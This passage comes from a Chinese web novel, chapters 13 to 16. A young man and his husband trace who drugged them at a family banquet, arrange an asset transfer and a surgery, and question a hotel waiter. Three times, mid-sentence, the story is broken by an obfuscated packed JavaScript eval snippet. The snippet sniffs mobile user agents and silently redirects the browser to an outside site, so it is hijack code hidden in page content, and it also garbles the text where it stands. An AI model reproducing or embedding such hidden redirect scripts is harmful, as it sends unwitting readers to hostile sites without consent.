“我那时候还不知道贺如林曾经跟你示好、被你拒绝过,也对你在宁家的处境并不了解,想着贺如林和宁家那边宁绍义是同学,确实方便说话一点,就同意了。” 宁衣初“哦”了声:“结果贺如林说监控没看出问题?” 贺适瑕:“嗯。” 贺适瑕回忆道,三个月前宁家在康宁大酒店办宴会,他去之前其实并不知道是什么宴会,只知道是宁家办的,而他父母让他一起去,他正好有空,就答应了。 到了之后,才知道原来只是宁则书的生日宴和毕业宴,只是宁家重视这个小少爷,所以平平无奇的事项也广邀宾客。 一般情况下,这种主角是小辈的宴会,就算两家是世交,贺适瑕的父母也不会这么重视。 “但……我爸妈当时还是没有放弃撮合我和宁则书,所以才特意叫上我一起去参加。”贺适瑕说,“我知道宴会情况后,就打算提前离场。” 然而宁家那位也已经过了八十大寿的老爷子,在得知贺适瑕要走后,居然亲自赶过来阻拦。毕竟是老人家,贺适瑕还是耐心听他说了会儿话。 宁老爷子说,宾客刚来就走的话,宁家这做东的面上无光,所以如果贺适瑕不想待在宴会厅内,那先上楼在客房里休息一会儿,等他父母都要走的时候再下楼一起走也行。 说完了,宁老爷子也不给贺适瑕推辞的机会,就叫身边人给贺适瑕安排客房。 宁老爷子身边的人是他刚结婚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16695985|188957||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没几年的年轻妻子,才二十八岁,名叫陆溪。 她闻言便道:“安排客房这差事,今晚好像是小初在负责吧。” 正要拒绝的贺适瑕微微一顿。 陆溪在这个间隙里说了下去:“那孩子性子孤僻,参加这种宴会总是缩在角落里,像是被忽视排挤了似的。我们本来以为他是不爱这种场合,但不让他来吧,他更不高兴。所以这次干脆给他派了点不重的活,让他别孤零零在角落里,都不怎么跟宾客说话。” 仿佛说起了上不得台面但又无可奈何的“家丑”,陆溪不好意思地笑了笑,宁老爷子也听得眉头一皱、明摆着很不喜。 陆溪:“小初应该就在门口那边吧,我带贺六公子你去找他拿一下房卡,哪些房间还空着的,得看小初手里剩下的房卡才知道呢。” 话至此,出于社交礼仪,没能及时拒绝的贺适瑕不方便再推拒。 不过他婉拒了陆溪同行,说自己认识宁衣初的相貌,自行过去拿房卡就好。 于是那晚宴会上,贺适瑕和宁衣初有了第一次短暂交集。 不过两人当时并没有多余的交流。 贺适瑕说需要一间客房稍作休息,宁衣初随手递给了他一张房卡,然后贺适瑕道谢,宁衣初回了句不客气,两人就此分开。 ——这些细致的过程,是原书剧情里并没有写到的,原书里对整件事只有主角视角盖棺定论的“假少爷爬了贺六公子的床”,过程不重要所以没呈现。 所以也是这会儿贺适瑕说了,宁衣初才知道当初贺适瑕去找他拿房卡的前因后果。 贺适瑕说到这里,看着坐在秋千上眉眼平静的宁衣初,轻声道:“那天晚上我去了客房后,你来给我送过吃的。” 虽然原书剧情里没有特意花笔墨写,但这个脱胎于原书剧情的世界,毕竟不只是纸上谈兵,而是一个在运转的真实世界,每分钟都是亲身经历过的,宁衣初当然没忘记这件发生过的事。 他可有可无点点头:“我养母让我给客房里休息的宾客们送点吃的过去,免得饿着了人,显得宁家待客不周。” 贺适瑕皱眉:“明明有客房服务可以叫,偏要折腾你。” 宁衣初嗤笑了声:“我闲啊。所以,你是吃了我送去的东西,然后身体状态不对了。我的话,是去客房那层楼送完了餐,回到楼下后喝了一杯服务生递给我的橙汁之后……我是被人带上楼的,电梯监控不可能看不到。” 所以,要么是当初去查监控的贺如林说谎了,要么是有别人对监控动了手脚、贺如林也被瞒了过去。最不阴谋论的可能是,贺如林那个废物做事马虎并没有仔细查,所以疏漏了。 “递给你橙汁的服务生长什么样,你对那人的特征还有印象吗?”贺适瑕问起。 宁衣初摇了摇头。 可能是药物影响,加上那晚之后宁衣初病了几天,醒过来后,虽然还记得大致的经过,但对那个陌生服务生的脸,却是记不清楚了,对方应该长得也比较普通、没什么让人初见就印象深刻的特征。 后来宁衣初想要自己查,也曾在酒店员工下班通道附近等过几天,想着再看到那人或许就想得起来了,但还是没有收获。 如今时间太久,酒店监控都已经被覆盖,就更没有线索了。 贺适瑕道:“不要紧,我让人去接触那晚有关的工作人员了,挨着排查线索,总能找到蛛丝马迹的。” 宁衣初突然笑了下:“哎,我怎么越想越觉得,像是你爸妈和宁家人合谋,特意安排了那晚的意外?” 贺适瑕微微一顿。 14. 第 14 章 “他们不是本来就想撮合你和宁则书吗,但据你所说你不同意,宁则书的态度据我所知好像挺模棱两可的,所以两家干脆合谋了场生米煮成熟饭,好促成这桩婚约。而且,看他们那晚的安排,应该是本来就打算让我背锅吧?” 宁衣初若有所思道:“毕竟你的房间是我安排的,你吃的东西是我亲自送过去的,最后就说是我对你图谋不轨,结果出了意外,把宁则书搅了进去,我却竹篮打水一场空。” “由我来承担你们俩被下药的责任,你们两个受害者相亲相爱,宁家也正好可以借此机会把我赶出去,还不用担心口碑名声了。” “只是可惜,偷鸡不成蚀把米,还真出了岔子,他们只好顺水推舟,咬定就是我要爬你的床。贺如林查监控没查出问题,说不准是你爸妈不许他查出问题呢?你说,以上猜测是不是很符合逻辑?” 虽然这只是宁衣初根据当晚两人的经历所联想的,但贺适瑕发现,可能性其实还真不小。 “我会查清楚的,不会包庇任何人。”贺适瑕保证道。 宁衣初:“哦,那很期待哦。” 听宁衣初这语气,贺适瑕还以为他接下来会再跟一个阴阳怪气的“老公”或者“哥哥”之类的称呼,虽然半点不带真心,但只要从宁衣初嘴里喊出来,贺适瑕就十分喜欢听。 不过很可惜,宁衣初没喊,贺适瑕略感失望。 这时,贺家的一位老佣人过来了,站在几米开外喊道:“适瑕,你妈妈叫你和小初少爷都过去呢,她和姑爷在书房等你们。” 宁衣初懒洋洋地回:“要给我送礼物的话,还是亲自过来比较合适吧。” 他没有刻意扬声,离了几米的老佣人就没听太清,不确定地看向贺适瑕。 贺适瑕轻咳了声,对宁衣初道:“那你再玩一会儿,我先去看看妈那边有什么事,待会儿就回来找你,好吗?” 宁衣初蹙眉:“你别拿我当幼儿园小孩,好吗?” 贺适瑕说了声抱歉,然后和老佣人一起先回了屋内。 贺祖父、贺定邦和他的五个子女们东西太多,这会儿佣人还在帮忙搬,贺适瑕绕过去,直接来到贺维安的书房。 “妈。”贺适瑕站在门口,敲了敲并没关上的书房门,然后才走进去,又对坐在一边沙发上煮茶的唐青山喊了声,“爸。” 唐青山点了点头:“来啦。” 坐在办公桌前的贺维安往贺适瑕身后看了看,皱眉道:“就你一个?宁衣初呢?刚才在餐厅不还很大胆放肆吗,现在都不敢过来见我?我听你祖母和如雪说,今天的事完全是宁衣初挑起来的,他到底想做什么?你为什么不控制下场面,就任由他想怎么闹怎么闹?还有,他是从哪里知道你舅舅的身世的,我在这之前都不完全清楚。” 贺维安一股脑发问,贺适瑕的目光则在书房里转了一圈。 然后他走向墙角的书柜,取了上方的一套书出来。 贺维安的问题一个没得到回答,见状更觉得受到挑衅:“贺适瑕!” 贺适瑕拿着书转过身,语气波澜不惊:“妈,这套书是您上次参加拍卖会买回来的吧?” 贺维安皱着眉:“是,年代挺久远的孤品,难得保存得这么好,你小心点别给我摔了。还有,别岔开话题,我刚才说的话你是一点没听进去吗?” 贺适瑕点了点头:“那就把这套书送给阿宁吧。” 贺维安愕然,正在煮茶的唐青山也抬起头看向贺适瑕。 唐青山开口道:“适瑕,你说什么呢?这套书你妈妈花了五百万才拍下来的,钱倒是小,重在珍贵难得,你一张口就莫名其妙要把它送人?” “没有莫名其妙。”贺适瑕回道,“阿宁把祖父这些年犯的错、舅舅的真实身世揭开了,避免了我们继续蒙在鼓里,这确实是功劳一件,妈作为家主,给他点奖励是应该的,就这套书吧,他也挺喜欢看书的。” 唐青山不语了。 贺维安气笑了:“他要是真好心,大可先私下里说,而不是突然当众闹出来,打全家一个措手不及,也就是你祖母身体好,不然今天这么一闹,非被他气出病来,他还成功臣了?贺适瑕你这几天到底怎么回事!” 贺适瑕温声回答:“怎么算私下里呢?在自家餐厅里,当着当事人的面说,又不是在宾客云集的宴会场所突然拿喇叭喊的,还不够‘私下’吗?妈,您对阿宁太苛刻了。” 亲儿子这油盐不进的态度,让贺维安简直叹服:“你可真是……你到底在想些什么?突然说要把全部资产包括贺氏股份转给宁衣初,突然这么袒护他,到了简直没法交流的地步,你是需要个跳大神仪式驱驱魔吗?” “妈,我很清醒。”贺适瑕看着她,目光深深,“我爱他,亏欠他许多,所以如今想要尽可能弥补一点。” 贺维安和唐青山都一脸见鬼。 贺适瑕:“我知道你们不能理解,我也没打算靠寥寥数语说服你们,但我希望你们目前可以意识到,我是认真的,不是心血来潮大龄叛逆。阿宁以前受了太多委屈,以后不想忍着了,你们如果也理解不了他,那不要过问就是,免得闹出更多矛盾,大家都不愉快。” 贺维安冷笑了声:“他是挺会让人不愉快的。” 贺适瑕轻叹了声:“可他说的都是真相,只是打破了虚伪的家和万事兴而已,这让大家不愉快了,不是他的错。” 贺维安:“总之你要护着他,不许我们过问。” “是。”贺适瑕颔首,“对了,正好爸妈都在,那我顺道直接问一下,三个月前在康宁大酒店,我和阿宁发生意外那晚,那桩事情里有你们的手笔吗?” 贺维安和唐青山俱是脸色更难看了。 唐青山问:“适瑕,你这是什么话?还有怎么突然想起来这件事了,这事儿不是早就过去了吗,不是宁衣初做的吗?你不能因为现在想袒护他,就把他犯的错都往别人身上、尤其是你亲生父母身上推脱,太过分了,适瑕。” 贺适瑕打量着父母的神色,语气平静:“如果是我误会了,那我很抱歉。总之我在查这件事,我会查到水落石出。如果你们的确参与了,那我希望我们可以互相坦诚一些,也省些事。当然,我也希望你们没有。” “贺、适、瑕!”贺维安咬牙切齿喊了他的名字,然后突然觉得很无力,“你真是……你这是决定了,下半辈子就围着宁衣初转,别的人和事都不管了?” 贺适瑕笑了笑:“也得他不赶我走才行。” 宁衣初赶不赶贺适瑕走,贺维安不知道,反正她现在受不了这个亲儿子了,往外一挥手:“出去出去,赶紧滚远点。” 贺适瑕拿着书走到门口,贺维安又把他叫住了:“你等等。” 贺适瑕回头看过去。 贺维安轻叹了声:“适瑕,这么多年,你基本没让家里操过心,但你决定要做的事,就算和家里意见不一致,也没见你听过劝……如今,既然你确定知道自己在做什么,那我也不想多说废话,但是小初那边你真的得管好,至少别闹到你祖母面前,她年纪真的大了。” 贺适瑕微微低头:“抱歉。” 贺适瑕带着从他妈书房里拐来的绝版书,回到刚才的花园里时,宁衣初人还在,只是从秋千上下来了,正在花丛边抓着一只狗。 那狗是贺定邦最小的儿子贺如竹养的,体型不大,本身是白毛,但整天 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半个小时后,律师到了,宁衣初才放走了小白狗。 一脱手,小白狗就嗷呜嗷呜叫唤着头也不回地急奔而逃。 贺适瑕资产颇丰,律师带来的协议厚厚一沓,宁衣初慢慢翻看赠与条款。 贺适瑕补充了下:“贺家有家族信托基金,按月给子孙发‘生活费’。此外我过去拍的戏里,有一部分是演员分红性质的,也就是说只要仍在重映,我就能分到钱,每三个月会结算一次。” “但这两个入项都是无法转赠的,只能在我名下,我人死了的话就不会再有新的入账,所以这两项没有写在合同里,除此之外都在了。” 宁衣初好奇了下:“家族信托基金,有给贺家子孙配偶那份吗?” 贺适瑕莞尔:“很抱歉,这个没有。” 宁衣初点评道:“好抠门,不拿人当一家人。” 贺适瑕:“……抱歉。” 律师沉默地在旁听着。 等宁衣初确认完合同,和贺适瑕一起签了字,律师也拿出印章签字,最后一式三份的合同各执一份,律师表示会尽快完成各项资产的实际转让。 律师效率挺高,第二天早上临出门前,宁衣初就收到了银行入账提醒,巨额款项入账。 这只是开端,银行转账相对流程简单点,后续还有各种资产过户,比如贺适瑕名下的车子房子股份等等,都过户完成后,律师会再来一趟,把相关证件文件资料都交到宁衣初手里。 余额变动太快,总额太大,看着有点不真实感,像是游戏币入账……或者冥币。 宁衣初乐不可支道:“哎,你说会不会其实这里不是真实世界,我不是重生了,只是死后到了阴曹地府构建出来的幻境,现在收到的是你在阳间烧给我的天地银行专用款?” 贺适瑕笑笑:“天地银行的钱通货膨胀蛮严重的吧,只烧这么点未免太小气了。” 宁衣初轻哼了声。 这个上午,他们还要出门去医院,给宁衣初检查身体、确认手术安排。 出门之前,宁衣初特意让人把小白狗又抓了过来。 然后让司机——贺适瑕——先开车去一家宠物医院。 贺适瑕:“宠物医院?” “对。”宁衣初抱着小白狗坐在后座。 这欺软怕硬的小狗现在已经不对宁衣初龇牙叫唤了,趴在他腿上十分老实。 宁衣初拎起它两条后腿看了看,笑眯眯道:“欺负我的都要变成公公。” 贺适瑕回以良久的沉默。 15.第 15 章 小白狗正儿八经的大名叫“君子”,这是它主人贺如竹给起的,贺如竹表示“竹乃树中君子,所以我的狗就叫君子”。 虽然很显然,不论是主人还是小白狗,都离君子相去甚远,还都颇为缺心眼儿,但俗话说得好……有梦想谁都了不起。 君子作为一只豪门宠物狗,虽然总是在户外摸爬滚打一身丐帮风范,但本身待遇是十分好的,它有固定的宠物医院去处,还有专有的宠物医生。 宠物医生听闻宁衣初和贺适瑕要给君子做绝育手术,不由得迟疑:“上次我跟贺七少爷提议过,但他回绝了,说不想给君子做绝育……” “现在想了。”宁衣初拨了拨君子的耳朵,笑眯眯道。 狗绝育也需要先体检,以及禁食禁水八个小时。 所以等体检结果出来,确定君子体征达标后,宁衣初和贺适瑕就把它先放在了宠物医院禁食禁水,等晚些时候可以做手术了,宠物医生就给它做,到时候再联系他们来宠物医院取狗。 离开了宠物医院,贺适瑕开车,带着宁衣初继续前往贺家的私人医院。 宁衣初悠悠道:“要是我做流产手术,也和君子的手术一样这么简单就好了。” 贺适瑕沉默了下,然后轻声说:“会顺利的。” 虽然完全不是一个性质的,但宁衣初要做手术,到了医院也是先检查身体。 做完检查就午饭时间了,体检报告和手术方案要等下午再找医生。 “找家餐厅,先吃饭,好不好?”贺适瑕提议道。 宁衣初刚才抽了血,脸色看起来更苍白了,但他心情还不错,可能是托银行账户余额的福。 闻言他扫了贺适瑕一眼:“你现在还有钱吃饭?” 贺适瑕微微一顿,失笑道:“确实没有了,那就当给司机的工作餐,你请我吃午饭,可以吗?” 宁衣初好整以暇道:“陪怀孕的伴侣到医院检查,难道不是份内事吗?你居然当成工作,还索要报酬,渣男。” 贺适瑕被噎到了一下,忍俊不禁:“那……你今天的意外所得,算不算合法伴侣间的共同财产?” 宁衣初眯了下眼:“刚给我就想要回去一半?” 贺适瑕觉得,再说下去,他今天要没法善终了,于是点到为止,他“求饶”道:“我嘴笨,饶了我吧,阿宁。这附近有家私房菜味道不错,去尝尝好不好?” 宁衣初跟他去了。 这家私房菜馆的隐私性不错,贺适瑕这个娱乐圈名声大噪的演员,顶着全脸光明正大走进来,到进包厢的一路上也没遇到其他食客。 味道也确实可以,宁衣初饮食习惯偏清淡,但清淡不等于没滋没味,只是很少能吃到把握得恰好的,这家餐厅做得就很合他口味。 贺适瑕见宁衣初吃得满意,松了口气。 用餐结束,跳过付账单的环节,贺适瑕直接带着宁衣初离开了私房菜馆。 宁衣初回头看了一眼,反应过来:“看来你是熟客,直接挂账的?” 贺适瑕笑了笑:“嗯,这家私房菜其实是我爸名下的,回头账单会直接送给他。” 宁衣初挑了下眉:“二世祖。” 贺适瑕长这么大,还是头回听到人当面把这个词用在他身上,不由得失笑。 他们回了医院,医生已经拿着刚出炉的体检报告在等了。 “宁先生的身体情况,各项指标和上次的数据差别不大,体质有些弱,日常不宜大喜大悲和劳累消耗,不然容易生病。”医生说道。 “如果确定要做手术拿掉胎儿,虽然对身体也有些损伤、需要一定时间休养调理,但相对于怀胎十月和生产手术而言,损伤必然是小很多的,也安全许多。男性怀孕虽然闻所未闻,但好在根据检查结果来看,宁先生腹中情况并不复杂,如今的身体状态也是可以接受手术的。” 宁衣初和贺适瑕都松了口气。 医生接着说:“然后的话,我们医疗团队这边有两个手术方案,二位听听看是怎么个想法,或者有什么额外的情况需要再纳入考量、重做安排。” 旁边就是电子屏,医生调出临时赶出来的方案报告,划拉着电子屏对宁衣初和贺适瑕讲解。 第一个方案,就是常规开腹手术,三天后就可以做。 但手术特殊性导致术后创口面必然会比较大,对身体损伤也比较大,而且止痛药不可能一直用,后续所需康复时间会更长,康复过程也会承受更多的痛苦。 第二个方案,就是微创手术,要四个星期后才能做。 因为手术的特殊性,所以常规微创手术的器械不足以支撑手术需求,医疗团队这边会在四个星期内,将这个手术方案所需的定制器械制作出来,并多次实验以保安全性。 第二个方案术后创面小,对身体损伤相对也轻一点,而且恢复时间短一些,休养期间也比较轻松。 医生讲解完了,询问当事人怎么看。 宁衣初若有所思,没急着开口。 贺适瑕微微皱眉:“孩子一直在发育,四个星期后再做手术,不会对身体负担更重吗?” 医生稳重道:“宁先生目前怀孕十三周半,刚满三个月,接下来四个星期正好是胎儿发育比较平缓的周期,比较瘦弱的人甚至还没到显怀的时候。” “而且宁先生体质原因,胎儿发育本身也比医学教科书上写的标准情况要慢一点,所以根据我们评估,四个星期后再做手术是没有问题的,两个方案之间的术后情况差距足以弥补这四个星期的负担。” 然后,医生又谨慎地补充道,虽然方案二比方案一听起来轻松一些,但考虑到中间毕竟有四个星期的时间,远不如方案一“快刀斩乱麻”,除去可能出现的意外情况不提,对当事人来说心理压力必然也更重,毕竟很难不一直惦记着这件事。 总之,医疗团队给到这两个方案,供他们自己选择。 贺适瑕不确定地看向宁衣初。 宁衣初思索过后,决定道:“那就方案二,四个星期后再手术吧。” 贺适瑕插了句话:“阿宁,如果你是考虑到原定下个星期要参加录制的节目,才选择的方案二,那没有必要……” “有点这方面的原因,不过跟你无关,我还挺想参加这节目出出气的。”宁衣初回道,“而且节目也不是最重要的原因,我不想受疼受罪,宁愿多等四个星期。” 那种肚子上划开一个鲜血淋漓的大口,无助地躺在病床上,稍微一动就疼得四肢百骸都想马上去投胎的痛苦,他上辈子临死前体验过了,这辈子没兴趣了。 四个星期而已,正好下周去录节目半个月,回来后休养一下,迎接手术。 贺适瑕从宁衣初说“不想受疼受罪”的神情里,敏锐地察觉到了未尽之意,一时只觉心头绞痛。 “对不起……”贺适瑕呢喃道。 宁衣初没搭理他。 医生也不确定贺适瑕干嘛突然说对不起,不过很有职业精神地没有多问,在确定他们要选择第二个手术方案后,就继续更细致地说明了接下来医疗团队的工作计划安排,好让病患和家属能够 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16704923|188957||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 安心。 从医院出来,已经下午四点了。 宠物医院那边,君子的禁食禁水时间还不够,手术也就还没做。 宁衣初想了想:“正好,趁这个时间去一趟宁家,我要收拾我的东西,回贺家的时候再去接狗。” 贺适瑕正要应好,手机突然轻轻一震,他看了下,然后问宁衣初:“酒店那边,那天晚上递给你橙汁的服务生好像是找到了,你看想要亲自去问清楚真相吗?你不想去的话,我让人盘问核实好了,再把结果告诉你,也一样。” 宁衣初挑了下眉:“这么快就找到人了?” 贺适瑕:“嗯,昨天你看完合同签完字累了,回房间休息的期间,我直接去找过贺如林,问他监控的事,他否认自己没仔细看或者有隐瞒不说,我爸妈那边也都否认有策划参与,结果今天一早就有线索,刚刚就找到人了……太巧了,我爸妈和贺如林至少有一个人是不清白的。” 宁衣初意味不明地嗤笑了声,然后选择先不去宁家了,先去见见那个给他递橙汁的服务生。 那服务生现在就被堵在酒店的停车场里。 据贺适瑕派去酒店那边查来龙去脉的人说,那个服务生之前本来已经辞职了,但离职的时候有东西落在了员工宿舍,今天正好回去取。 本来没有那服务生的特征相貌,他们也对不上号,但恰巧听到那服务生跟前台说离职时间,正好是贺适瑕要他们调查的那晚的第二天。 于是去查探的人多了个心眼,装作好事狗仔,拦住要离开的服务生打听了下——听说三个月前贺影帝在这家酒店跟人发生了一夜情,然后那个一夜情对象就是他的结婚对象? 没想到那服务生矢口否认自己在酒店工作过,神情心虚还带着慌张,于是贺适瑕派去的人连蒙带吓,可算让服务生松口说漏了嘴。 然后服务生就被请进了车里,在酒店停车场等着当事人亲自去盘问。 当事人还没到,服务生只能和几个要么神情严肃、要么吊儿郎当的男人待在车里,这看起来就不像好人的几个人还不说话了,本来就心虚的服务生吓得浑身发抖。 “你们要干嘛!我告诉你们,绑架是犯法的!你们……你们现在就让我离开,我不会报警的……”服务生越说,声音越低。 坐他旁边那个男人乐道:“谁绑架你了,兄弟,我们就是友好地邀请你上车聊天,也没对你做什么嘛,绑你哪儿了?” 服务生瑟瑟发抖,壮着胆子试探:“那……我能走了吗?” “哎,不要这样拒人于千里之外嘛,我们这么有礼貌,你这么急着走干什么,不都说了吗,还有人想见你,你也有点礼貌好不好?” 服务生欲哭无泪:“你们这是非法监禁!” “你这就很胡说八道了。”男人一脸严肃起来,“要说非法,你要不要想想自己干没干过什么违法乱纪的事?” 服务生忍不住开始啜泣:“我……我也是被人吩咐做事的,真不是故意害人的,你老板叫你送杯喝的给少爷,你能拒绝吗?我哪知道那橙汁有问题啊,我能想到老板想害他亲儿子吗?” 前座的人打断道:“你不用跟我们解释,待会儿跟当事人说明吧。” 服务生一听,更紧张了,忍不住继续哭诉:“我也不是故意给错人的,我当时就是看那个养少爷脸色不好,像是低血糖犯了,好心才把橙汁给他喝的,给他了我就走了,我不是得重新倒杯橙汁给宁小少爷送去吗,那个养少爷后面怎么到楼上客房里的,真不关我的事啊!我怎么就这么倒霉呢!” 16.第 16 章 宁衣初和贺适瑕到了之后,贺适瑕派到酒店来的这几个人从车上下来,先把刚才服务生絮叨哭诉出来的新信息告诉了他们。 宁衣初挑了下眉:“真让我猜中了啊?” 贺适瑕神情凝重。 他们上了车,坐在前面的驾驶座和副驾驶座往后看。 后座的服务生现在两边已经没坐人了,可以开车门,但他看了看外面站着的几个“彪形大汉”,抽噎了声,没敢跑。 “不是我想害你们啊!真的不是!”服务生就差抬手抹眼泪了。 贺适瑕道:“我们也没想害你,只是想把事情查清楚。你说是老板让你给他亲儿子送的橙汁,这件事详细说一遍来龙去脉,老板具体指的是谁?” 事已至此,服务生只好原原本本说:“就是宁总啊,大名是叫……宁绍仁?就是宁少爷你的养父,我在员工培训上看到过宁总照片,不会认错的。” 宁衣初唔了声:“他让你给宁则书送喝的?” 服务生点点头:“那天晚上不是宁小少爷他生日宴吗,我也被安排过去在宴会上当服务生,我发誓我之前根本就不认识宁总……不是,我认识他的长相,我的意思是我跟宁总没接触过啊,宁总看起来就是随便喊了个服务生,我正好路过就被他叫住了……” 据这服务生说,那杯橙汁也是宁绍仁直接拿给他的,让他给小少爷宁则书送过去,说小少爷作为宴会主角交际了一晚上,多少得喝点东西。 服务生当时就觉得奇怪,毕竟宴会上又不是没吃没喝,宁则书都大学毕业的年纪了还能不知道饿了吃渴了喝不成,而且交际了一晚上不是一直端着喝的吗?干嘛特意给他送杯橙汁过去…… 不过服务生也没拒绝,毕竟是酒店的顶头老板,而且是要给亲儿子送喝的,还能往里投毒不成,所以服务生就接了橙汁去送了。 “宁总说,小少爷应该是出去透风了,让我去宴会厅外面找找,我就端着橙汁出去了,但刚走出门,就看到衣初少爷你了。”服务生回忆道。 那时宁衣初刚给客房里的宾客们送完餐食,忙活一通有点累,之前在宴会上又没吃上什么东西,所以脸色特别白,走路还有点晃。 服务生一看,就想到了之前遇到的低血糖住客,于是没多想,就把餐盘里的橙汁递给了宁衣初。 宁衣初那时也是确实不太舒服,而且康宁大酒店毕竟是宁家正儿八经的经营场所,他当时警惕心掉了下线,就接了橙汁慢慢喝了。 服务生见他还能自己喝东西,就没有多停留,寻思着重新倒一杯橙汁给宁则书送过去。 “我当时就是想着,一杯橙汁而已,我重新倒就是了,我真不知道那橙汁有问题,我要知道,哪怕是老板吩咐给他亲儿子送的,我也不敢送啊,更别说随手给别人了……”服务生叫苦不迭。 宁衣初轻声呢喃:“我把房卡给宾客后,会在登记簿上记录对应的房号和宾客身份,那天我去客房楼层送餐之前,我养母找我要过登记簿。送去客房的餐食,也都是厨房已经按房号安排好了的……我当时还在想,都安排到这么细节了,还非要我去送,还挺见不得我闲一会儿的。” 至于服务生说他当时递了橙汁就走了,后来把宁衣初送到客房促成意外的那个人不是他……这一点上,宁衣初确实记不清了。 橙汁里的药效发作太快,他事后回忆,只迷迷糊糊记得是个比他高的人把他带上电梯,又推进房门的。 这也说明,的确可能不是眼前这个服务生。而且从这个服务生的态度和解释来看,他应该确实没有撒谎。 “后来呢?”宁衣初接着问,“你不是原本不知道吗,后来是怎么知道得这么清楚的,离职是怎么回事?” 服务生欲哭无泪:“第二天上午,不是你们两家挺多人去那个客房找你们吗,当时有别的服务生一起去开的房门,我跟那个服务生交情挺好,我听到点八卦好奇嘛就跟他打听,结果打听完了越想越不对劲。” 但当时服务生只是自己琢磨着觉得不对劲,也确定不了什么。 可偏偏当天晚上下班的时候,经理居然跳过领班来找他“谈心”,还状似无意地问起前一天晚上宴会上那杯橙汁的去向,服务生忐忑不安地如实说了。 然后经理就让他辞职,赔偿金给的很高,还说可以给他安排别的酒店的工作,但都是私下里说的,明面上只让他说是他自己要辞职,还暗示他管住嘴,别把橙汁的事告诉别人。 “他还吓唬我,说宁家的养少爷给贺六公子下药爬床,正愁没人背锅,要是想起来我给过他一杯橙汁,养少爷说不定要我背锅的,就说是我在橙汁里下了药……”服务生说到这里,小心翼翼看了眼宁衣初。 宁衣初皮笑肉不笑地对他扯了扯嘴角。 服务生赶忙摆手:“但我没信啊!我真的越想越觉得不对,要是那橙汁真没问题,经理干嘛特意找我说话,还要我离职,这不那什么……此地无银三百两嘛……但我又惹不起谁,我也不敢要经理说的介绍工作,拿了封口费就老老实实滚蛋呗。” 经理看服务生这么“懂事”,放心了很多,就让服务生连夜收拾员工宿舍的行李,第二天就可以不用继续上班了。说完了,经理就走了。 服务生心里忐忑,抓心挠肝的,于是没忍住,悄悄跟了经理一段,结果就偷听到经理打电话跟别人汇报,说安置好了。 “‘请让宁总放心,不会有人知道他让服务生送过一杯有问题的橙汁的’……经理还这么说。”服务生学舌道,“我怀疑他这样特别提出来,是有点威胁对面,想要捞好处的意思。反正听到他那样说,我才确定了,真是那杯橙汁不好,那我不就间接害人了吗……可我真不是故意的啊。” 贺适瑕继续问他:“那个经理叫什么名字?还有,你今天为什么会突然回酒店拿东西,是有人联系你的?” 服务生挠了挠头:“经理叫王全安,但我刚才听以前的同事说,经理上个月也已经离职了。我今天回来,就是我以前交情好的那个服务生给我发微信,说我有东西落员工宿舍了。” 宁衣初看了眼他空荡荡的双手:“什么东西?” 服务生摊手:“我也问他是什么东西,结果他没回我了,我猜可能是刚下夜班补觉去了吧,那我今天刚好有空,直接过来看看算了,结果是他搞错了,那压根不是我的东西,我不就白来一趟……还被你们抓住了……两位少爷,我说的可真的都是实话,你们听完了就行,别再把我扯进去了成不,那橙汁虽然是我递的,但我真不知道啊……” “没打算找你麻烦。”宁衣初道,“你说的那个交情好的服务生, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16711362|188957||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 叫什么名字?” 服务生一愣:“刘元……你是怀疑他吗……不能吧,我都被给封口费辞退了,他要是掺和了,就算没走,也不可能还是个服务生啊,总能捞点好处吧?” 但“捉奸”那天早上有他,今天又是他把服务生叫回来的,这个刘元的确很可疑。 “你还知道什么别的事吗?不如一次说完整,免得下次还得找你,你也不安生。”贺适瑕提醒道。 服务生又想哭了:“没了,真没了,我就是个小服务生,哪还知道别的啊……我保证我不会在外面乱说的!你们就让我走吧……” 贺适瑕看向宁衣初。 宁衣初想了想:“最后一个问题。你那天晚上去给宁则书送橙汁,后来送到了吗?” 服务生点了点头:“送到了的,不过宁小少爷接了橙汁,就说累了要上楼休息了,没有回宴会厅,我寻思着这也不是我该过问的事,就没管。” 宁衣初点了点头,对这个服务生没有其他问题了。 服务生离开之后,贺适瑕说:“那我让人去找找那个刘元,把人叫出来盘问一下?” 宁衣初有点累了:“我懒得亲自问了,你的人不是还在吗,麻烦他们之后继续查问吧,把结果告诉我就行。” 反正,如果刚才那个服务生没有移山倒海的说谎能力的话,那根据他刚才所述,结合宁衣初和贺适瑕自己回忆中所知的信息,其实当晚的经过和真相大致已经可以推测确定了,只是不够完整、还差部分细节而已。 贺适瑕点点头:“好。” 